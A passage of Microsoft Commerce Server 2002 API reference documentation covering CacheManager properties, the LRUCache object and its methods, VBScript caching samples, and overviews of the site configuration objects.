) As IDispatch

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which Loader component configuration information is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which Loader component configuration information is being provided or retrieved.
LoaderConfig [C++]
[in] When putting the property, a pointer to the IDispatch interface of the Dictionary object that contains the Loader component configuration information.
[out,retval] When getting the property, the address of a pointer used to return the IDispatch interface of the Dictionary object that contains the configuration information.
[C++]

Return Values

This method returns an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property, a Dictionary object containing configuration information for a particular Loader component, will be passed to that Loader component when it is created to load the associated data cache. When you set this property, the dictionary is shallow cloned and then the CacheManager object stores the clone of the dictionary. This is as opposed to simply storing a reference to the dictionary. Shallow clone means that scalars in the dictionary are copied by value, but other objects in the dictionary are copied by reference. The Loader component needs to implement the IPipelineComponentAdmin interface in order to read the configuration values from the dictionary, and in particular, the SetConfigData method of that interface. The Dictionary object identified by this property is passed to the newly created Loader component using the SetConfigData method.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_LoaderProgId, put_LoaderProgId Property [C++]

CacheManager.LoaderProgId Property [Visual Basic]

The LoaderProgId property is a read/write string that contains the ProgID of the component intended for use in populating the cache.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_LoaderProgId(
 BSTR bstrName,
 BSTR* LoaderProgId
);

Put method:

HRESULT ICacheManager::put_LoaderProgId(
 BSTR bstrName,
 BSTR LoaderProgId
);
[Visual Basic]
Property LoaderProgId(
 bstrName As String
) As String

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which the Loader component ProgID is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which the Loader component ProgID is being provided or retrieved.
LoaderProgId [C++]
[in] When putting the property, a BSTR that contains the ProgID of the Loader component.
[out,retval] When getting the property, a pointer to a BSTR user to return the ProgID of the Loader component.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_RefreshInterval, put_RefreshInterval Property [C++]

CacheManager.RefreshInterval Property [Visual Basic]

The RefreshInterval property is a read/write number that specifies the approximate number of seconds between automatic cache refresh operations on a specified cache.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_RefreshInterval(
 BSTR bstrName,
 long* RefreshInterval
);

Put method:

HRESULT ICacheManager::put_RefreshInterval(
 BSTR bstrName,
 long RefreshInterval
);
[Visual Basic]
Property RefreshInterval(
 bstrName As String
) As Long

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which the refresh interval is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which the refresh interval is being provided or retrieved.
RefreshInterval [C++]
[in] When putting the property, a long that contains the new refresh interval value.
[out,retval] When getting the property, a pointer to a long used to return the current refresh interval value.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A refresh interval value of zero (0) means that the cache is never refreshed automatically.

The default refresh interval value is zero (0).

The value is a measurement of the number of seconds between automatic cache refresh operations.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_RetryInterval, put_RetryInterval Property [C++]

CacheManager.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write number that specifies the approximate number of seconds to wait before retrying to load the data cache after failing to load.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_RetryInterval(
 BSTR bstrName,
 long* RetryInterval
);

Put method:

HRESULT ICacheManager::put_RetryInterval(
 BSTR bstrName,
 long RetryInterval
);
[Visual Basic]
Property RetryInterval(
 bstrName As String
) As Long

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which the retry interval is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which the retry interval is being provided or retrieved.
RetryInterval [C++]
[in] When putting the property, a long that contains the new retry interval value.
[out,retval] When getting the property, a pointer to a long used to return the current retry interval value.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A retry interval value provides the number of seconds the CacheManager object should wait before retrying a failed cache refresh operation.

The default retry interval value is 60 (seconds).

The retry interval must be at least 1 (second).

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_WriterConfig, putref_WriterConfig Property [C++]

CacheManager.WriterConfig Property [Visual Basic]

The WriterConfig property is a read/write reference to a Dictionary object that contains configuration information for the Writer component.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_WriterConfig(
 BSTR bstrName,
 IDispatch** WriterConfig
);

Put method:

HRESULT ICacheManager::putref_WriterConfig(
 BSTR bstrName,
 IDispatch* WriterConfig
);
[Visual Basic]
Property WriterConfig(
 bstrName As String
) As IDispatch

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which Writer component configuration information is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which Writer component configuration information is being provided or retrieved.
WriterConfig [C++]
[in] When putting the property, a pointer to the IDispatch interface of the Dictionary object that contains the Writer component configuration information.
[out,retval] When getting the property, the address of a pointer used to return the IDispatch interface of the Dictionary object that contains the configuration information.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property, a Dictionary object containing configuration information for a particular Writer component, is passed to that Writer component when it is created to report results related to cache usage. When you set this property, the dictionary is shallow cloned and then the CacheManager object stores the clone of the dictionary. This is as opposed to simply storing a reference to the dictionary. Shallow clone means that scalars in the dictionary are copied by value, but other objects in the dictionary are copied by reference. The Writer component needs to implement the IPipelineComponentAdmin interface in order to read the configuration values from the dictionary, and in particular, the SetConfigData method of that interface. The Dictionary object identified by this property is passed to the created Writer component using the SetConfigData method.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_WriterProgId, put_WriterProgId Property Property [C++]

CacheManager.WriterProgId Property [Visual Basic]

The WriterProgId property is a read/write string that contains the Programmatic Identifier (ProgID) of the component intended for use in populating the cache.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_WriterProgId(
 BSTR bstrName,
 BSTR* WriterProgId
);

Put method:

HRESULT ICacheManager::put_WriterProgId(
 BSTR bstrName,
 BSTR WriterProgId
);
[Visual Basic]
Property WriterProgId(
 bstrName As String
) As String

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which the Writer component ProgID is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which the Writer component ProgID is being provided or retrieved.
WriterProgId [C++]
[in] When putting the property, a BSTR that contains the ProgID of the Writer component.
[out,retval] When getting the property, a pointer to a BSTR user to return the ProgID of the Writer component.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


LRUCache Object [C++]

LRUCache Object [Visual Basic]

Use this object to support the creation, storage, and retrieval of name/value pairs, referred to as elements, from a cache in memory. The LRUCache object functions similarly to the Dictionary object, except that it only stores a limited number of elements, and internally ranks them according to use. When the cache is full and a new element needs to be added, the least recently used element is removed from the cache to make room for the new element.

ProgID: | Commerce.LRUCache (Externally creatable)
COM Class Name: | LRUCache
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]

COM Interface Name: | ILRUCache
Interface ID Constant: | IID_ILRUCache
Header File: | cacheint.h, mspu_guids.h
[C++]

In C++, use the ILRUCache interface to access the methods of the LRUCache object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.
[Visual Basic]
Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.

Remarks

The LRUCache object is typically created by the CacheManager object rather than directly from an ASP script. It is configured through the Cachemanager.LoaderConfig property. This is done by configuring a CacheManager cache with a LoaderProgID of Commerce.LRUCacheFlush and by setting the LoaderConfig dictionary properties as shown in the table below. The configuration parameters are contained in a Dictionary object.

The following table shows the keys in the dictionary containing the configuration parameters.

Key | Definition
CacheSize | Specifies the size of the cache. A value of –1 will result in the default value of 1000 items being used.
ConnectionString | The connection string to the database where the LRUCacheFlush object should register the cache.
TableName | The name of the table where the LRUCacheFlush object should register the cache.
AppUrl | The fully qualified URL of the Commerce Server application without a page name.
CacheName | The name of the cache.

Note

  • The ConnecitonString, TableName, and CacheName keys are required. If any of them are not set the LRUCacheFlush object will not register the cache.

The LRUCacheFlush object registers the LRUCache object so that it can be flushed from Commerce Server Business Desk.

For more information, and to view a sample configuration of the LRUCache object, see Code to Use Caching with a Catalog.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object

Code to Use Caching with a Catalog

Code to Manipulate an LRUCache Object


ILRUCache Methods [C++]

LRUCache Methods [Visual Basic]

Methods

[C++]
Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.
[Visual Basic]
Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.


ILRUCache::Flush Method [C++]

LRUCache.Flush Method [Visual Basic]

Use this method to remove the specified element from the cache.

Definition

[C++]
HRESULT ILRUCache::Flush(
  BSTR bstrKey
);
[Visual Basic]
Sub Flush(
  Optional bstrKey As String
)

Parameters

bstrKey [C++]
[in, optional] A BSTR that contains the name of the element to be removed from the cache.
bstrKey [Visual Basic]
An optional String that contains the name of the element to be removed from the cache.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If no element is specified, all elements are removed.

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


ILRUCache::FlushAll Method [C++]

LRUCache.FlushAll Method [Visual Basic]

Use this method to remove all elements from the cache.

Definition

[C++]
HRESULT ILRUCache::FlushAll(
);
[Visual Basic]
Sub FlushAll()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


ILRUCache::Insert Method [C++]

LRUCache.Insert Method [Visual Basic]

Use this method to add an element to the cache.

Definition

[C++]
HRESULT ILRUCache::Insert(
  BSTR bstrKey,
  VARIANT* pvarValue
);
[Visual Basic]
Sub Insert(
  bstrKey As String,
  pvarValue As Variant
)

Parameters

bstrKey [C++]
[in] A BSTR that contains the name of the element to be added to the cache.
bstrKey [Visual Basic]
A String that contains the name of the element to be added to the cache.
pvarValue [C++]
[in] A pointer to the VARIANT that contains the value of the element.
pvarValue [Visual Basic]
A Variant that contains the value of the element.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vManAd is a Variant that references an ad.
oLRUCache.Insert("ManufacturerAd", vManAd)

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


ILRUCache::Lookup Method [C++]

LRUCache.Lookup Method [Visual Basic]

Use this method to retrieve the value of an element from the cache.

Definition

[C++]
HRESULT ILRUCache::Lookup(
  BSTR bstrKey,
  VARIANT* pvarValue
);
[Visual Basic]
Function Lookup(
  bstrKey As String
) As Variant

Parameters

bstrKey [C++]
[in] A BSTR that contains the name of the element to be retrieved.
bstrKey [Visual Basic]
A String that contains the name of the element to be retrieved.
pvarValue [C++]
[out,retval] A pointer to a VARIANT used to return the value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the value of the specified element.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarValue parameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vFavAd is a Variant
vFavAd = myLRUCache.Lookup("Favorite Ad")

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


ILRUCache::LookupObject Method [C++]

LRUCache.LookupObject Method [Visual Basic]

Use this method to retrieve an object from the cache.

Definition

[C++]
HRESULT ILRUCache::LookupObject(
  BSTR bstrKey,
  IDispatch** ppLRUCache
);
[Visual Basic]
Function LookupObject(
  bstrKey As String
) As Object

Parameters

bstrKey [C++]
[in] A BSTR that contains the name of the object to be retrieved.
bstrKey [Visual Basic]
A String that contains the name of the object to be retrieved.
ppLRUCache [C++]
[out,retval] The address of a pointer to the IDispatch interface of an object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppLRUCache parameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set oMyObject = oLRUCache.LookupObject("My Object")

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object

[C++] LRUCache Object

[Visual Basic] LRUCache Object


ILRUCache::SetSize Method [C++]

LRUCache.SetSize Method [Visual Basic]

Use this method to set the maximum size of the cache.

Definition

[C++]
HRESULT ILRUCache::SetSize(
  long lSize
);
[Visual Basic]
Sub SetSize(
  lSize As Long
)

Parameters

lSize [C++]
[in] A long that specifies the size of the cache.
lSize [Visual Basic]
A Long that specifies the size of the cache.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


Example Code for Cache Objects

This section contains sample code to create and extend the caching functionality of Commerce Server 2002.

Examples

Example | Description
Code to Implement Custom Cache Components | Describes how to implement custom cache components.
Code to Manipulate an LRUCache Object | Describes how to manipulate an LRUCache object.


Code to Implement Custom Cache Components

Loader and Writer components are used within the Content Selection Framework (CSF) to load caches and write out campaign results.

Loader and Writer components can be apartment-threaded because they are created, used once, and then destroyed by the same thread. This means that they can be written in Microsoft Visual Basic.

Loader and Writer components are implemented as pipeline components, although they are not intended to be executed in the context of a pipeline. They must implement the Execute method of the IPipelineComponent interface for the CacheManager object to be able to execute them. Further, if they require configuration, they must implement the SetConfigData method of the IPipelineComponentAdmin interface. The following tables provide details regarding this requirement.

Loader Component

Method to implement Details
IPipelineComponent::

Execute

 Required for the Loader component to execute.

The pDispContext parameter is set to the existing cache instance, if it exists, otherwise it is set to a new, empty cache object. If the cache object (specified by the LoaderProgId setting for the cache) is a Dictionary object, then the following additional entries are set:

  • _CacheName is set to the name of the cache being refreshed.
  • _CacheRefreshInterval is set to the refresh interval.
  • _CacheFirstRefresh is set to one (1) on the first cache refresh, and to zero (0) thereafter (can be used for conditional error logging).
  • _AppUrl is set to the value of the AppURL property, if any. This entry is optional and might not be set if the CacheManager object is not running in an ASP application.

The pDispOrder parameter is set to a new cache object based on the setting of the LoaderProgId property, normally a Dictionary object or an LRUCache object, which will become the new cache.

The lFlags parameter is set to zero (0).

The plErrorLevel parameter is ignored on return.
IPipelineComponentAdmin::

SetConfigInfo

 Optional. Required only if the Loader component requires configuration. Will be called if the LoaderConfig property has been set.

The pDict parameter is set to point at the Dictionary object specified by the LoaderConfig property.

Writer Component

Method to implement | Details
IPipelineComponent:: Execute | Required for the Writer component to execute. The pDispOrder parameter is set to the existing cache instance. Normally a Writer component will retrieve data from the cache to be written to disk. The pDispContext parameter is set to NULL. The lFlags parameter is set to zero (0). The plErrorLevel parameter is ignored on return.
IPipelineComponentAdmin:: SetConfigInfo | Optional. Required only if the Writer component requires configuration. Will be called if the WriterConfig property has been set. The pDict parameter is set to point at the Dictionary object specified by the WriterConfig property.

The following example code shows how to create and configure a custom cache component.

Set dictConfig = CreateObject("Commerce.Dictionary")
dictConfig("ConnectionString") = "DSN=adsamples;UID=username;PWD=******"
Set CacheManager = Server.CreateObject("Commerce.CacheManager")
CacheManager.LoaderProgId("advertising") = "Commerce.LoadAdvertisements"
Set CacheManager.LoaderConfig("advertising") = dictConfig
CacheManager.WriterProgId("advertising") = "Commerce.WriteEvents"
Set CacheManager.WriterConfig("advertising") = dictConfig
CacheManager.RefreshInterval("advertising") = 10 * 60
CacheManager.RetryInterval("advertising") = 60
Set application("CacheManager") = CacheManager

Now any web page in the application can quickly access the named schedule:

Set CacheManager = application("CacheManager")
Set dictSchedule = CacheManager.GetCache("advertising")


Code to Manipulate an LRUCache Object

The following example code shows how to use the LRUCache object:

' Declare variables to be used.
Dim oLRUCache, oDict, oNewDict, NumVal

' Create an instance of an LRU cache.
Set oLRUCache = CreateObject("Commerce.LRUCache")

' Set the max cache size to 100 items.
oLRUCache.SetSize 100

' Create an object to store.
Set oDict = CreateObject("Commerce.Dictionary")
oDict("Test") = "This is a test."

' Store the Dictionary object.
oLRUCache.Insert "DictObject", oDict

' Store the number 10.
oLRUCache.Insert "Number", 10

' Lookup the stored Dictionary object using method LookupObject.
Dim oNewDict
Set oNewDict = oLRUCache.LookupObject "DictObject"

' Lookup the stored number using method Lookup.
Dim NumVal
NumVal = oLRUCache.Lookup "Number"

' Remove all items from the cache.
oLRUCache.FlushAll

' Display the results, which will be:
' This is a test.
' 10
Response.Write "Dictionary data from cache: " & oDict.Test & "<BR>"
Response.Write "Number stored in cache: " & NumVal & "<BR>"


Configuration Objects

The configuration objects perform a variety of functions, such as creating a site, creating resources, importing and exporting resources, manipulating configuration settings on site and global resources, and retrieving Web site properties.

The Configuration Programming Concepts topic describes the major issues relating to the use of configuration objects.

Objects

Visual Basic Reference | C++ Invocation | Description
AdminWebServer | AdminWebServer | Allows enumeration of Web sites and their properties.
AppConfig | AppConfig | Allows retrieval of country/region codes, and names from the site configuration store.
GlobalConfig | GlobalConfig | Provides methods for the configuration management of global resources.
GlobalConfig2 | GlobalConfig2 | Provides methods for the configuration management of global resources, including several methods not included in the GlobalConfig object.
SiteConfig | SiteConfig | Provides for configuration management of site resources.
SiteConfigReadOnly | SiteConfigReadOnly | Provides methods to read global and site configuration values from the Administration database.

Examples

Example | Description
Code to Dump Configuration Values | Describes how to use the AppConfig object to retrieve site configuration values.
Code to Create a Site | Describes how to create a site.
Code to Create and Manipulate a Global Resource | Describes how to create and manipulate a global resource.
Code to Create and Manipulate a Site-Level Resource | Describes how to create and manipulate a site-level resource.
Code to Export a Resource | Describes how to export a resource.
Code to Import a Resource | Describes how to import a resource.
Code to Retrieve Web Site Properties | Describes how to read the contents of a server-side file and write those contents to the browser.


Configuration Programming Concepts

The following topics describe the configuration objects in Commerce Server and how to use them:

  • AppConfig Object
  • GlobalConfig Object
  • SiteConfig and SiteConfigReadOnly Objects
  • AdminWebServer Object


AppConfig Object

The most important function of the AppConfig object is to retrieve site configuration properties, such as i_FormLoginTimeOut, i_SitePrivacyOptions, various database connection strings, and so on. The GetOptionsDictionary method of the AppConfig object performs this function; however, before using this method, the AppConfig object must be initialized.

Many of the properties that the GetOptionsDictionary method retrieves can be viewed using Commerce Server Manager in the Microsoft Management Console (MMC). The App Default Config node, in the Site Resources folder of the site, in Commerce Server Manager displays the current setting values.

The following table lists the names of the keys in the dictionary returned by the GetOptionsDictionary method of the AppConfig object that are mapped in the App Default Config node in Commerce Server Manager.

Programmatic Name | Commerce Server Manager App Default Config Mapping
f_AltCurrencyConversionRate | Currency: Alternate currency conversion rate
i_AddItemRedirectOptions | Add item redirect options
i_AddressBookOptions | Address Book Options
i_AltCurrencyLocale | Currency: Alternate currency locale
i_AltCurrencyOptions | Currency: Alternate currency options
i_BaseCurrencyLocale | Currency: Base currency locale
i_BillingOptions | Payment options: Billing options
i_BizTalkOptions | BizTalk Options
i_CookiePathCorrectionOptions | Cookie Path Correction Options
i_CurrencyDisplayOrderOptions | Currency: Currency display order options
i_DelegatedAdminOptions | Delegated admin options
i_FormLoginOptions | Form login options
i_FormLoginTimeOut | AuthManager Auth Ticket Timeout
i_HostNameCorrectionOptions | Host Name Correction Options
i_PaymentOptions | Payment options
i_SiteDefaultLocale | Site default locale
i_SitePrivacyOptions | Site privacy options
i_SiteRegistrationOptions | Site registration options
i_SiteTicketOptions | Site ticket options
s_AltCurrencySymbol | Currency: Alternate currency symbol
s_BaseCurrencySymbol | Currency: Base currency symbol
S_BizTalkCatalogDocType | BizTalk Catalog Doc Type
S_BizTalkOrderDocType | BizTalk PO Doc Type
S_BizTalkSourceQualifierID | BizTalk Source Org Qualifier
s_BizTalkSourceQualifierValue | BizTalk Org Qualifier Value
s_BizTalkSubmittypeQueue | BizTalk Submit type
s_PageEncodingCharset | Page encoding charset
s_SMTPServerName | SMTP server name
s_WeightMeasure | Unit of Measure for Weight
s_BizTalkConnString | BizTalk Interchange Manager Database

The following table lists keys in the dictionary returned by the AppConfig.GetOptionsDictionary method which are not mapped in the App Default Config node in Commerce Server Manager.

Programmatic Name | Value or Description
s_CommerceProviderConnectionString | Biz Data Service: s_CommerceProviderConnectionString
s_ProfileServiceConnectionString | Biz Data Service: s_ProfileServiceConnectionString
s_CatalogConnectionString | Product Catalog: connstr_db_Catalog
s_TransactionConfigConnectionString | Transaction Config: connstr_db_TransactionConfig
s_TransactionsConnectionString | Transactions: connstr_db_Transactions
s_BizDataStoreConnectionString | Biz Data Service: s_BizDataStoreConnectionString
s_CampaignsConnectionString | Campaigns: connstr_db_Campaigns
i_IsFullTextSearchInstalled | Indicates whether SQL Server has full text search enabled
s_SiteName | Name of the site
s_NonSecureHostname | This value is set in the Global.asa file to the non-secure host name of the application.
s_SecureHostname | This value is set in the Global.asa file to the secure host name of the application.

See Also

GlobalConfig Object

SiteConfig and SiteConfigReadOnly Objects

AdminWebServer Object


GlobalConfig Object

The GlobalConfig object contains two groups of methods. The first group includes such methods as the MakeArrayFromSimpleList method; their function is obvious from the method name, and will not be discussed here. For more information about these methods, see GlobalConfig Object.. The second group of methods is used to create sites and manipulate configuration data at the global level.

See Also

AppConfig Object

SiteConfig and SiteConfigReadOnly Objects

AdminWebServer Object


SiteConfig and SiteConfigReadOnly Objects

The SiteConfig object contains two groups of methods. The first group includes such methods as the MakeArrayFromString method; their function is obvious from the method name, and will not be discussed here. For more information about these methods, see SiteConfig Object. The second group of methods is used to create site-level resources, manipulate configuration data at the site level, and import and export site-level resources.

The SiteConfigReadOnly object allows access to more configuration data than does the SiteConfig object. With the SiteConfigReadOnly object, group resource values are returned when you access references to resources. In contrast, the SiteConfig object only returns references to the names of the resources.

The following is a list of schema class names which are used by the CreateComponentConfig method of the SiteConfig object in creating resources.

Administration Database Class Name | Resource Name Used to Reference Resource in Code
MSCS_Catalog | Product Catalog
MSCS_AppConfigDefault | App Default Config
MSCS_TransactionConfig | Transaction Config
MSCS_Transactions | Transactions
MSCS_Campaigns | Campaigns
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mail
MSCS_Predictor | Predictor
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_Datawarehouse_Site | Site Data Warehouse
MSCS_BizDataStore | Profile Service
MSCS_Address | IIS Applications (for example, Retail or RetailBizDesk)
MSCS_BDSecurity | Business Desk Permissions

See Also

AppConfig Object

GlobalConfig Object

AdminWebServer Object


AdminWebServer Object

